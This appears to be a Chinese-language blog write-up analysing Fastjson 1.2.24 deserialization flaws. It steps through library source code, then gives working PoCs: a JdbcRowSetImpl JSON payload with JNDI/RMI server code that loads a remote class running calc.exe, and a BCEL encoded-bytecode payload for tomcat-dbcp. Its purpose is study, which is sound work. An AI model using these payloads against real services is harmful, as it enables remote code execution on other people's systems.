Fastjson安全漏洞分析

1.Fastjson分析

1.1.fastjson常用方法

首先需要明白JSON类的几个方法分别是,toJSONString,parse,parseObject(String text),parseObject(String text, Class clazz)。

  • toJSONString 是将对象序列化为JSON字符串,实现的是序列化操作,调用的Getter方法。
  • parse是将字符串反序列化对象,实现的是反序列化操作,调用的是Setter方法。
  • parseObjectt(String text) 是先调用parse方法进行反序列化操作调用Setter方法,再调用toJSON进行序列化操作,调用Getter方法。
  • parseObject(String text, Class clazz)是反序列化为指定的类,而不会调用toJSON方法进行序列化操作,因此只调用Setter方法。
  • 以上所有方法在1.2.24默认请求下都可以通过@type注解指定反序列化的类。

1.2.调用流程分析

那么我们来具体分析一下Fastjson中parseObjectt(String text) 通过**@type**指定后的调用流程。

  1. 首先是通过调用JSON.parse方法,DefaultJSONParser.parseObjectDefaultJSONParser.parse方法去解析字符串,去处理不同的数据结构。

  2. 然后通过ParserConfig类中的createJavaBeanDeserializergetDeserializer来创建一个反序列Bean,用于之后的调用。

  3. 再通过JavaBeanInfo类中的build判断需要调用哪些方法,然后通过该类的add方法将将创建的Bean添加到List<FieldInfo>用于之后的调用。

  4. 之后再返回到DefaultJSONParser.parseObject方法通过调用JavaBeanDeserializer.deserialze方法依次进行反序列。

  5. 再通过FieldDeserializer.setValue方法依次通过反射调用Bean的Setter方法对属性进行赋值。

  6. 再执行完成Setter方法后再回退到JSON.parseObject方法调用JSON.toJSON方法。

  7. 再调用SerializeConfig.getObjectWriterSerializeConfig.getObjectWriter.createJavaBeanSerializer来创建javabean序列化对象。

  8. 再使用TypeUtils.buildBeanInfoTypeUtils.computeGetters方法对需要调用的方法传入入到fieldInfoMap中用于之后的调用,包含Getter/isXxxx方法。

  9. 之后回退到JSON.toJSON方法中首先使用getFieldValuesMap.JavaBeanSerializer方法对之前创建的Bean对象进行校验,判断获取到的Bean是否合法。

  10. 调用FieldSerializer.getPropertyValue方法来获取Bean中的值,主要是通过FieldInfo.get方法依次对fieldInfoMap中生成的对象方法进行调用。

  • 调用流程图

调用流程图

1.3.JAVA反序列化和FastJSON反序列化的区别

  1. 通过流程分析我们可以判断,JSON反序列化其实是本质是通过反射来调用恶意的Getter和Setter/isXxxx方法,来实现恶意的操作,而在JAVA反序列化中主要是通过JAVA反序列化时调用readObject来构造利用链实现恶意的操作。因此存在本质的区别。
  2. FastjSON反序列化虽然也叫反序列化其实和JAVA反序列化不太沾边,因为JAVA反序列化其实是对二进制数据进行操作的,而JSON反序列化是基于字符串进行操作的。这点到有点像PHP的反序列化。
  3. 原生JAVA反序列化需要实现 Serializable 接口,JSON反序列化不需要
  4. 原生java反序列化受transient影响,JSON反序列化受注解配置影响。
  5. 不过最后构造链后一般都是执行RCE,通过反射或者类加载。
  6. JAVA反序列化和JSON反序列化时,如果反序列化的对象已经加载过,则都不会调用静态代码块。但是构造代码块,JAVA反序列化不会调用,而JSON反序列化一定会调用。

1.4.哪些Setter和Getter/isXxx方法会被执行?

  1. 通过流程分析我们可以从JavaBeanInfo.build着手。

Setter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
for (Method method : methods) { //
int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String methodName = method.getName();
//判断方法名的长度不能小于4
if (methodName.length() < 4) {
continue;
}

//不能是静态方法
if (Modifier.isStatic(method.getModifiers())) {
continue;
}

// support builder set
// 返回类型为空或者是类本身
if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
continue;
}
Class<?>[] types = method.getParameterTypes();
//参数类型必须只有一个
if (types.length != 1) {
continue;
}

JSONField annotation = method.getAnnotation(JSONField.class);

if (annotation == null) {
annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
}
//对字段属性的注解
if (annotation != null) {
//注解配置了是否序列化 eg:@JSONField(deserialize = false)
if (!annotation.deserialize()) {
continue;
}
@JSONField(ordinal = 1)
ordinal = annotation.ordinal();
serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
parserFeatures = Feature.of(annotation.parseFeatures());
//@JSONField(name = "user_id")
if (annotation.name().length() != 0) {
String propertyName = annotation.name();
add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, null, null));
continue;
}
}
//方法名必须以set开头
if (!methodName.startsWith("set")) { // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
continue;
}

char c3 = methodName.charAt(3);

String propertyName;
//对属性名特殊字符的一些处理
if (Character.isUpperCase(c3) //
|| c3 > 512 // for unicode method name
) {
if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
} else if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
continue;
}

Field field = TypeUtils.getField(clazz, propertyName, declaredFields);
if (field == null && types[0] == boolean.class) {
String isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);
field = TypeUtils.getField(clazz, isFieldName, declaredFields);
}

//@JSONField 注解的一些内容
JSONField fieldAnnotation = null;
if (field != null) {
fieldAnnotation = field.getAnnotation(JSONField.class);
//注解配置了是否序列化 eg:@JSONField(deserialize = false)
if (fieldAnnotation != null) {
if (!fieldAnnotation.deserialize()) {
continue;
}
// 注解配置名有name就会进行序列化 @JSONField(name = "product_id", ordinal = 1)
ordinal = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
parserFeatures = Feature.of(fieldAnnotation.parseFeatures());

if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal,
serialzeFeatures, parserFeatures, annotation, fieldAnnotation, null));
continue;
}
}

}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}
//添加到列表
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
annotation, fieldAnnotation, null));
}

Getter()/isXxxx()

  • TypeUtils的computeGetters方法

  • 在Getter方法的遍历中会将所有的Getter方法进行调用,即使没有设置值,同样也会调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
for (Method method : clazz.getMethods()) {
String methodName = method.getName();
int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String label = null;
//不能是静态方法
if (Modifier.isStatic(method.getModifiers())) {
continue;
}
//返回类型不能为void
if (method.getReturnType().equals(Void.TYPE)) {
continue;
}
//不能有参数
if (method.getParameterTypes().length != 0) {
continue;
}
//返回值类型不能是类加载器
if (method.getReturnType() == ClassLoader.class) {
continue;
}
//排除Groovy特有的getMetaClass方法,避免在Java环境中处理Groovy元编程(Meta-Programming)相关的逻辑
if (method.getName().equals("getMetaClass")
&& method.getReturnType().getName().equals("groovy.lang.MetaClass")) {
continue;
}

JSONField annotation = method.getAnnotation(JSONField.class);

if (annotation == null) {
annotation = getSuperMethodAnnotation(clazz, method);
}
//注解配置了是否序列化 eg:@JSONField(deserialize = false)
if (annotation != null) {
if (!annotation.serialize()) {
continue;
}

ordinal = annotation.ordinal();
serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
parserFeatures = Feature.of(annotation.parseFeatures());
// 注解配置名有name就会进行序列化 @JSONField(name = "product_id", ordinal = 1)
if (annotation.name().length() != 0) {
String propertyName = annotation.name();

if (aliasMap != null) {
propertyName = aliasMap.get(propertyName);
if (propertyName == null) {
continue;
}
}

FieldInfo fieldInfo = new FieldInfo(propertyName, method, null, clazz, null, ordinal,
serialzeFeatures, parserFeatures, annotation, null, label);
fieldInfoMap.put(propertyName, fieldInfo);
continue;
}

if (annotation.label().length() != 0) {
label = annotation.label();
}
}

if (methodName.startsWith("get")) {
//方法名至少4个字母getX
if (methodName.length() < 4) {
continue;
}
//方法名不能为getClass
if (methodName.equals("getClass")) {
continue;
}
//方法名不能是getDeclaringClass并且是枚举类型
if (methodName.equals("getDeclaringClass") && clazz.isEnum()) {
continue;
}

char c3 = methodName.charAt(3);

//判断第四个字符不能为特殊字母
String propertyName;
if (Character.isUpperCase(c3) //
|| c3 > 512 // for unicode method name
) {
if (compatibleWithJavaBean) {
propertyName = decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
propertyName = getPropertyNameByCompatibleFieldName(fieldCacheMap, methodName, propertyName,3);
} else if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = decapitalize(methodName.substring(3));
} else {
continue;
}

boolean ignore = isJSONTypeIgnore(clazz, propertyName);

if (ignore) {
continue;
}
//假如bean的field很多的情况一下,轮询时将大大降低效率
Field field = ParserConfig.getFieldFromCache(propertyName, fieldCacheMap);

if (field == null && propertyName.length() > 1) {
char ch = propertyName.charAt(1);
if (ch >= 'A' && ch <= 'Z') {
String javaBeanCompatiblePropertyName = decapitalize(methodName.substring(3));
field = ParserConfig.getFieldFromCache(javaBeanCompatiblePropertyName, fieldCacheMap);
}
}
//字段名注解判断,和上面一样
JSONField fieldAnnotation = null;
if (field != null) {
fieldAnnotation = field.getAnnotation(JSONField.class);

if (fieldAnnotation != null) {
if (!fieldAnnotation.serialize()) {
continue;
}

ordinal = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
parserFeatures = Feature.of(fieldAnnotation.parseFeatures());

if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();

if (aliasMap != null) {
propertyName = aliasMap.get(propertyName);
if (propertyName == null) {
continue;
}
}
}

if (fieldAnnotation.label().length() != 0) {
label = fieldAnnotation.label();
}
}
}
//属性名不能为空,目前看来并不算判断常规方法的是否有这个属性
if (aliasMap != null) {
propertyName = aliasMap.get(propertyName);
if (propertyName == null) {
continue;
}
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

FieldInfo fieldInfo = new FieldInfo(propertyName, method, field, clazz, null, ordinal, serialzeFeatures, parserFeatures,
annotation, fieldAnnotation, label);
fieldInfoMap.put(propertyName, fieldInfo);
}
//isXxxx方法,长度不能小于3
if (methodName.startsWith("is")) {
if (methodName.length() < 3) {
continue;
}
//返回类型只能是boolean或者Boolean.class
if (method.getReturnType() != Boolean.TYPE
&& method.getReturnType() != Boolean.class) {
continue;
}

char c2 = methodName.charAt(2);
//第三个字符不能是特殊字符
String propertyName;
if (Character.isUpperCase(c2)) {
if (compatibleWithJavaBean) {
propertyName = decapitalize(methodName.substring(2));
} else {
propertyName = Character.toLowerCase(methodName.charAt(2)) + methodName.substring(3);
}
propertyName = getPropertyNameByCompatibleFieldName(fieldCacheMap, methodName, propertyName,2);
} else if (c2 == '_') {
propertyName = methodName.substring(3);
} else if (c2 == 'f') {
propertyName = methodName.substring(2);
} else {
continue;
}

Field field = ParserConfig.getFieldFromCache(propertyName,fieldCacheMap);

if (field == null) {
field = ParserConfig.getFieldFromCache(methodName,fieldCacheMap);
}

JSONField fieldAnnotation = null;
if (field != null) {
fieldAnnotation = field.getAnnotation(JSONField.class);
//isXxx方法注解判断
if (fieldAnnotation != null) {
if (!fieldAnnotation.serialize()) {
continue;
}

ordinal = fieldAnnotation.ordinal();
serialzeFeatures = SerializerFeature.of(fieldAnnotation.serialzeFeatures());
parserFeatures = Feature.of(fieldAnnotation.parseFeatures());

if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();

if (aliasMap != null) {
propertyName = aliasMap.get(propertyName);
if (propertyName == null) {
continue;
}
}
}

if (fieldAnnotation.label().length() != 0) {
label = fieldAnnotation.label();
}
}
}
//属性名不能为空,目前看来并不算判断常规方法的是否有这个属性
if (aliasMap != null) {
propertyName = aliasMap.get(propertyName);
if (propertyName == null) {
continue;
}
}

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

//优先选择get,如果已经包含过了就不添加了
if (fieldInfoMap.containsKey(propertyName)) {
continue;
}

FieldInfo fieldInfo = new FieldInfo(propertyName, method, field, clazz, null, ordinal, serialzeFeatures, parserFeatures,
annotation, fieldAnnotation, label);
fieldInfoMap.put(propertyName, fieldInfo);
}
}
  • 在JavaBeanSerializer中遍历执行所有添加到fieldInfoMap中的Getter和isXxx方法。
1
2
3
4
5
6
7
8
9
public Map<String, Object> getFieldValuesMap(Object object) throws Exception {
Map<String, Object> map = new LinkedHashMap<String, Object>(sortedGetters.length);

for (FieldSerializer getter : sortedGetters) {
map.put(getter.fieldInfo.name, getter.getPropertyValue(object));
}

return map;
}

1.5.注意事项

  1. setter 只会根据方法名来对属性的值进行注入,和属性的名无关。
    • 想要对Name进行字段设置和setUsername进行方法调用,只需要传输这样的json串{“username”:”admin”}//大小写都可以,而不是{“name”,”admin”},也就是说方法调用只跟方法名有关,和属性名无关,而且不区分大小写。
1
2
3
public void setUserName(String name) {
this.name = name;
}
  1. parseObject方法的执行顺序,先执行parse,调用set方法,set方法执行顺序是按JSON字符串从前到后的顺序来的。再调用toJSON调用get/is方法,是按方法的第四/三个字母的ASCII码的顺序进行执行。
  2. 在toJSON中默认会遍历执行所有的Getter方法,即使没有为其赋值。
  3. 想要进入底层类调试需要配置一个getMap,也就是返回值为Map的get方法,避免其代码逻辑进入临时生成的类的逻辑,从而无法调试。

2.打V1.2.24

2.1.JdbcRowSetImpl

2.1.1类分析

在jdk中有这样一个类.

  • JdbcRowSetImpl 是 Java 中一个 内置的 JDBC 扩展类,属于 javax.sql.rowset 包的一部分。它的核心作用是提供一种 断开连接(disconnected)的 RowSet 实现,允许开发者以更灵活的方式操作数据库数据

  • 而在该类中存在一个我们非常感兴趣的方法,lookup函数,这个我相信大家都不陌生了,在之间的JDNI(rmi/ldap)注入分析我们利用InitialContextlookup函数参数的注入,链接远程Reference链接远程工厂类,实现类加载执行任意代码。

  • 所以我们看到lookup函数就应该兴奋起来,看该方法是否可以调用,参数是否可以控制。

  • 我们先查看lookup函数的参数是否可控,lookup函数的参数getDataSourceName(),从这个方法中传入,因此我们可以思考是否可以通过JSON反序列化控制getDataSourceName()的返回值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private Connection connect() throws SQLException {

// Get a JDBC connection.

// First check for Connection handle object as such if
// "this" initialized using conn.

if(conn != null) {
return conn;

} else if (getDataSourceName() != null) {

// Connect using JNDI.
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup
(getDataSourceName());
//return ds.getConnection(getUsername(),getPassword());

if(getUsername() != null && !getUsername().equals("")) {
return ds.getConnection(getUsername(),getPassword());
} else {
return ds.getConnection();
}
}
catch (javax.naming.NamingException ex) {
throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}

} else if (getUrl() != null) {
// Check only for getUrl() != null because
// user, passwd can be null
// Connect using the driver manager.

return DriverManager.getConnection
(getUrl(), getUsername(), getPassword());
}
else {
return null;
}

}
  • 接下来我们来看到getDataSourceNamesetDataSourceName方法。
  • 因此通过观察这三个方法,我们知道可以先通过调用setDataSourceName方法对dataSource属性进行赋值,然后getDataSourceName的返回值就变成了我们控制的值,符合JSON反序列化注入的逻辑。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
   public void setDataSourceName(String dsName) throws SQLException{

if(getDataSourceName() != null) {
if(!getDataSourceName().equals(dsName)) {
super.setDataSourceName(dsName);
conn = null;
ps = null;
rs = null;
}
}
else {
super.setDataSourceName(dsName);
}
}
//在父类中BaseRowSet
public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}
public String getDataSourceName() {
return dataSource;
}
  • 那么既然我们知道参数已经可控了,那么接下来我们就要分析能否调用connect()方法了。通过对当前类的查找,我们看到可以看到有三个方法调用了connect()方法,分别是getDatabaseMetaDatasetAutoCommit,prepare,且他们方法都为public修饰。那么我们最能能够直接观察到可利用的就是getDatabaseMetaDatasetAutoCommit方法因为他们符合我们之前说的getter和setter方法,prepare可能可以利用,可以看看其他的是否有调用他的,这我就不分析了,因为有其他更好利用的方法,

  • 在这两个方法getDatabaseMetaDatasetAutoCommit,优先考虑肯定是是setAutoCommit,因为如果我们在JSON中传入一个AutoCommit的值的话会优先调用set方法会比get方法优先调用,且如果代码中使用的是parse方法去解析的JSON的话,则是不会解析get方法的,因此肯定考虑set方法。

  • 那么我们接下来观察setAutoCommit方法。

  • 通过观察setAutoCommit的代码,基本上可以确定是可以调用的,通过对autoCommit参数进行赋值,就会调用的connect()方法中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void setAutoCommit(boolean autoCommit) throws SQLException {
// The connection object should be there
// in order to commit the connection handle on or off.

if(conn != null) {
conn.setAutoCommit(autoCommit);
} else {
// Coming here means the connection object is null.
// So generate a connection handle internally, since
// a JdbcRowSet is always connected to a db, it is fine
// to get a handle to the connection.

// Get hold of a connection handle
// and change the autcommit as passesd.
conn = connect();

// After setting the below the conn.getAutoCommit()
// should return the same value.
conn.setAutoCommit(autoCommit);

}
}

2.1.2.POC分析

  • 我们一共需要调用两个方法setDataSourceName,setAutoCommit,我们首先通过setDataSourceName对dsName进行赋值。
  • 由于set方法的调用的顺序是JSON串中考前的先调用,因此我们先配置DataSourceName赋值,在对AutoCommit赋值即可,再强调一下,JSON的赋值只和方法名有关,和属性值的属性名无关。
  • 首先DataSourceName的值,由于是lookup函数,且我的环境是8u65版本,因此使用jndi或者rmi或者使用dns探测都可以,我这我了演示,就使用rmi服务器进行吧。因此设置的值为rmi://localhost:1099/remoteObj
  • 然后是AutoCommit的值,为任意整型或者boolean类型即可,因为整型和布尔型都可以过boolean类型的参数检测。不会报错中断线程。
  • 还有一个最重要的参数自然是配置我们需要反序列化的类。
1
{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/remoteObj","AutoCommit":111}
  • jndirmi服务器部署
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
RemoteObjImpl remoteObj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj", remoteObj);
System.out.println("-------------------RMIServer start success------------------------");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;

public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("T", "T", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
System.out.println("-------------------RMIJNDIServer start success------------------------");
}
}

  • 编译恶意类javac T.java
1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class T {
static {//在静态代码块中执行恶意代码。
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

  • 启动python http服务器

image-20250319152928524

2.1.3.流程分析

  1. 首先通过DefaultFieldDeserializer调用setValue方法,反射调用setDataSourceName的方法对属性进行赋值。

image-20250319154150273

image-20250319154234506

  1. 然后进入到JdbcRowSetImpl核心调用逻辑。给DataSourceName进行赋值。

image-20250319154459461

  1. 再反射调用setAutoCommit方法的connect()方法。

image-20250319154641365

  1. 然后再调用connect方法中的lookup函数远程jndirmi服务器,再调用远程的恶意类,进行加载。

image-20250319155213412

2.1.4.总结

  • 该链的主要逻辑就是通过调用java原生的JdbcRowSetImpl方法,通过JSON反序列化为首先调用setDataSourceName方法进行传参,然后再调用setAutoCommit方法来调用lookup函数,调用远程的jdni服务器,实现jndi注入。

2.1.5.思考

  • 有个问题,那就是说,既然再praseObject方法中会遍历调用所有的get方法,那按道理调用setDataSourceName后,不需要再setAutoCommit方法,因为在JdbcRowSetImpl方法中还有一个方法,那就是getDatabaseMetaData方法,也调用了connect()方法。
  • 那么是否能在不调用setAutoCommit的情况下通过自动调用get方法执行远程代码。
1
2
3
4
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection con = connect();
return con.getMetaData();
}
  • 这次我们不设置autoCommit参数,POC如下。
1
{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/remoteObj"}
  • 我们实践一下发现,在执行代码前就抛出异常终止了当前线程。

image-20250319161825309

  • 我们调试一下,看异常问题出在哪。
  • 通过对代码调试我们发现,在调用getDatabaseMetaData方法前调用isAfterLast方法。使用过java原生的jdbc连接数据的朋友都知道,该方法是对sql查询的结果集向后走一个索引。但是我们是我们并没有提供一个正确的链接,因此肯定得不到结果集,执行索引偏移肯定会报错,所以没办法继续执行后面的代码。

image-20250319162353531

image-20250319163507235

image-20250319162750345

  • 所以这条路走不通。

2.2.TemplatesImpl(不出网利用)

  • 这条链我就不详细分析了,因为之前在分析CC链的时候已经分析过这条链,且只是原因之一,最重要的原因还是这条链的利用范围太窄了,需要在解析JSON串的时候设置Feature.SupportNonPublicField,所以利用范围很低,当然还有一个最根本的原因就是我懒得分析,已经分析过了:laughing:。
  • 同时设置Feature.SupportNonPublicField后,系统不再调用Setter方法,因为需要设置私有属性的值,因此主要是通过反射调用实现。
  • 该条链中,最主要的内容通过调用getOutputProperties方法实现的。
1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

2.3. Becl (不出网利用)

2.3.1.利用条件

  • 需要具有tomcat dbcp依赖

2.3.2.类分析

  • 我们可以看到BasicDataSource类中的createConnectionFactory方法,该方法为我们提供了一个提议加载字节码的地方,不过这部分字节码需要在前面加入BCEL的标识符即$$BCEL$$,以及还需要传入一个类加载器。

image-20250324105313455

image-20250324110240757

image-20250324110324522

  • 因此我们现在的思路就是看driverClassName和driverClassLoader,是否可控,经过对当前类的查找,我们找到以下方法。因此两个参数都有对应的Getter和Setter方法,我们可以直接通过JSON反序列化进行赋值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public synchronized void setDriverClassName(String driverClassName) {
if ((driverClassName != null) && (driverClassName.trim().length() > 0)) {
this.driverClassName = driverClassName;
}
else {
this.driverClassName = null;
}
this.restartNeeded = true;
}
public synchronized void setDriverClassLoader(
ClassLoader driverClassLoader) {
this.driverClassLoader = driverClassLoader;
this.restartNeeded = true;
}
  • 既然参数可控了,接下来我们分析一下能否调用createConnectionFactory方法,我们通过对当前类的查找,看到了createDataSource方法,其中就调用了createConnectionFactory方法,但是createDataSource不是set/get/is方法,因此没办法进行调用,我们再往上级查找,发现当前类一共有setLogWriter,getLogWriter,getConnection。
  • 首先我们先来考虑,setLogWriter方法,因为我们对字段进行赋值的化,我们可以定义set方法的执行顺序,且set方法会比get方法先执行,不过我们来看到该方法的参数时,需要传入一个PrintWriter,类型的对象,而该对象没有默认的构造方法,我们还需要对其进行传参,因此实现起来会比较麻烦,我们再尝试看看get方法。
  • getConnection方法,因为get方法没办法定义顺序顺序,因此我们有限看ascii码靠前的方法。
1
2
3
public Connection getConnection() throws SQLException {
return createDataSource().getConnection();
}
  • 我们看到getConnection方法直接就调用了createDataSource方法,因此这是以恶好方法,只要保证当前类的ascii码c之前的get方法执行时不会抛出无法处理的异常,则可以正常执行到getConnection(),实现类加载。

2.3.3.PoC分析

  • 首先我们需要先获得一个BCEL格式字节码字符串。
  • 直接利用读文件将本地的恶意类加载,并且进行编码格式化。
1
2
3
4
5
import java.nio.file.Files;
import java.nio.file.Paths;

byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\T.class"));
String code = "$$BCEL$$" + Utility.encode(bytes, true);
  • 接下来我们就是需要设置driverClassName和driverClassLoader的值。构造Poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.shiro.vuln.fastjson;
import java.io.FileInputStream;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.alibaba.fastjson.JSON;
import org.apache.bcel.util.ClassLoader;

public class Fastjson03_Becl {
public static void main(String[] args) throws Exception {
//<=1.2.24 and tomcat-dbcp 7
// InputStream resourceAsStream = Fastjson03_Becl.class.getResourceAsStream("Calc.class");
// byte[] bs = new byte[resourceAsStream.available()];
// resourceAsStream.read(bs);
// String code = "$$BCEL$$"+Utility.encode(bs,true);

byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\T.class"));
String code = "$$BCEL$$" + Utility.encode(bytes, true);

String payload = "{\r\n"
+ " {\r\n"
+ " \"aaa\": {\r\n"
+ " \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\", \r\n"
+ " \"driverClassLoader\": {\r\n"
+ " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\r\n"
+ " }, \r\n"
+ " \"driverClassName\": \""+code+"\"\r\n"
+ " }\r\n"
+ " }:\"bbb\"\r\n"
+ "}";
System.out.println(payload);
JSON.parseObject(payload);
}

}

  • payload
1
2
3
4
5
6
7
8
9
10
11
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$c1N$C1$Q$7d$F$d9$b2$x$I$82$m$a2$a8$e8A$f0$A$Xo$Q$_F$T$p$8a$91$N$c6$e3R$h$5c$c4$5d$b2$y$ca$ly$e6$a2F$T$bd$fbQ$c6$e9$c6$m$J$3dt$3ao$de$7b$9dN$bf$7f$de$3f$B$i$60$d7$80$8e$b4$81$Vd$a2$c8$aa$b8$ca$91$e3X3$a0$n$cf$b1$ce$b1$c1$a0$d5m$c7$f6$P$Z$c2$a5r$9ba$e1$c8$bd$95$M$89$86$ed$c8$8b$d1CGz$a6$d5$e9$T$S$ad$8b$fe$l3$de$f2$zq$7fn$N$82$Sy2$Y$zw$e4$Jyb$x$aafVz$d6$a3$V$83$81E$8eB$M$9b$d8$o$Da$f5EE$8ee$M$db$u2$a4$V$a7j$bb$d5$d3$e6$f1X$c8$81o$bb$OC$3e$40$fb$96$d3$ad$5e$8d$i$df$7e$90$d3$a2$f2$dba$60$sC$f2$9f$d5$ec$f4$a4$f0$Z$96$e7$84$d4UW$fa$d3$qS$w7$e685z1$b5$q$Y$f6J3$d5$96$ef$d9N$b76$x$b8$f4$5c$n$87C$S$e4f$99$e6$9d$e7$3e$a91$d4$cam$U$R$a5$91$ab$V$CS$af$a7$3dFY$81$o$a3$Y$d9$7f$F$9b$d0$81fH$bb$W$80a$S$zM$a9$s$e5$K$5d$7dC$u$V$7e$c1$c2$f53$e2g$l$d0nH$cb$bf$sAQ$tj$84$eeP$sY$3a$v$x$3d$409a$f4$d9tw$82P$8eP$83$p$a9$93h9h$w$f5$LT$ffu$95$j$C$A$A"
}
}:"bbb"
}

2.3.4.流程

  1. 首先通过@type指定执行需要反序列化的类,然后分别配置driverClassLoader和driverClassName值。

image-20250324152729482

image-20250324152900390

  1. 然后在getConnection中调用createDataSource()方法,再调用createConnectionFactory方法,实现BCEL的类加载。

image-20250324153123168

2.4.C3P0 (不出网利用)

2.4.1.利用条件

  • c3p0要求版本不高于0.9.5.2,且系统存在可利用的反序列化攻击链。

2.4.1. 流程分析

  • C3P0的利用链很简单,虽然说发现这条链的人或者团队肯定耗费了大量时间,但是其实利用起来很简单只需要调用一个方法即可。

